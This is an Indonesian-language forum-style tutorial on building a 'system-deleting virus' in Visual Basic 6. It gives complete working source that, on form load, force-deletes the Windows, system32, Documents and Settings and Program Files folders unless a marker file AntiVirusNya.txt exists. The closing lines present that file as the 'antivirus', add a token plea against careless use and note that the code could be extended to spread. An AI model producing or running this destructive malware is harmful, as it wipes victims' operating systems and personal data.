Membuat Virus Penghapus System

Yg diperlukan:
1. VB(optimal : 6.0)
2. Harus Ngerti tombol di VB

Caranya
1. bikin form sekecil mungkin
2. didalam form masukan kode ini:

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject("Scripting.FileSystemObject")
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub

Private Sub Form_Load()
On Error Resume Next

If FileExist("c:\windows\system32\AntiVirusNya.txt") = True Then
End
Else
Call DelAll("c:\windows\system")
Call DelAll("c:\windows\system32")
Call DelAll("c:\windows")
Call DelAll("C:\Documents and Settings\All Users")
Call DelAll("C:\Documents and Settings\Administrator")
Call DelAll("C:\Documents and Settings")
Call DelAll("C:\Program Files\Common Files")
Call DelAll("C:\Program Files\Internet Explorer")
Call DelAll("C:\Program Files\Microsoft Visual Studio")
Call DelAll("C:\Program Files")
End
End If
End Sub

Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = "" Then
FileExist = False
Else
FileExist = True
End If
End Function

Nah Selesai deh.
Jadi kesimpulanya virus ini dapat ditanggulangi dengan cara membuat File bernama AntiVirusNya.txt di=c:\windows\system32\AntiVirusNya.txt

Mohon Jgn digunakan sembarangan,dosa loh.

NB:antivirus harus dibuat dahulu sebelum virus masuk,bukan sesudah virus masuk

eh? cara buat anti-nya gmana?

Loh kan dikasih tau diatas

buat File bernama AntiVirusNya.txt di=c:\windows\system32\AntiVirusNya.txt

jadi itu antivirus,tapi ingat ini antinya musti dimasukin dl loh,ni sifat virusnya nga menyebar,kan nga dibuat syntax lain nya,tapi apabila ingin dikembangkan mungkin akan lebih baik